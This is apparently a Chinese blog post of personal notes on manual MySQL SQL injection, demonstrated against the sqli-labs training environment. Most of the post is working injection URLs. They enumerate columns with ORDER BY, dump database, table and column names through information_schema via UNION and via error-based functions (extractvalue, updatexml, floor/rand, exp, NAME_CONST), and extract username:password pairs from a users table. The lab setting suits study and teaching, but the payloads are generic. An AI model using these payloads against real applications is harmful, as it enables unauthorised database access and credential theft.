mysql注入爆表_Mysql手工注入

整理一下手工注入笔记,以sqli-labs环境为例。

1.Mysql手工union联合查询注入

输入单引号,页面报错。

f94c5354805e

根据报错信息显示,这是个字符型的注入,后台的查询应该是select xxx from xxx where id='1'。

下一步,我们用order by 来爆列。(ORDER BY 语句用于对结果集进行排序。)

f94c5354805e

f94c5354805e

当order by 为3时,有数据返回,为4时报错,说明有3行数据。

然后,我们来爆数据库名。

Mysql 5.0版本以上,有information_schema这个系统表,它存储着所有的数据库的相关信息。

http://192.168.68.106/sqli-labs/Less-1/?id=0' UNION select 1,database(),3 from information_schema.schemata--+

f94c5354805e

成功爆出数据库 security

再来爆表名

http://192.168.68.106/sqli-labs/Less-1/?id=0' Union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1--+

f94c5354805e

这样我们只能得到1个表名,我们需要借助limit。

Limit子句可以被用于强制 SELECT 语句返回指定的记录数。Limit接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。

http://192.168.68.106/sqli-labs/Less-1/?id=0' Union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1--+

f94c5354805e

如果表比较多,这样操作太麻烦。我们可以用group_concat函数。

http://192.168.68.106/sqli-labs/Less-1/?id=0' Union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

f94c5354805e

这样,把所有的表用组的方式查询出来。

爆字段名

http://192.168.68.106/sqli-labs/Less-1/?id=0' Union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

f94c5354805e

爆值

http://192.168.68.106/sqli-labs/Less-1/?id=0' Union select 1,group_concat(username,0x3a,password),3 from users--+

f94c5354805e

2.Mysql手工报错型注入

爆表名

http://192.168.68.106/sqli-labs/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

f94c5354805e

爆字段名

http://192.168.68.106/sqli-labs/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

f94c5354805e

报错返回长度有限制,如果有没爆出的字段可以继续爆。

http://192.168.68.106/sqli-labs/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('id','username')))) --+

f94c5354805e

爆值

http://192.168.68.106/sqli-labs/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

f94c5354805e

http://192.168.68.106/sqli-labs/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+

f94c5354805e

剩下的数据可以类似爆出。

当然,这只是报错型注入的一种语句。这里在附上几个:

and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

and 1=updatexml(1,concat(0x7e,(select database())),1)

select exp(~(select * FROM(SELECT USER())a))

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x

参考:http://www.cnblogs.com/lcamry/category/846064.html

https://www.cnblogs.com/peterpan0707007/p/7620048.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值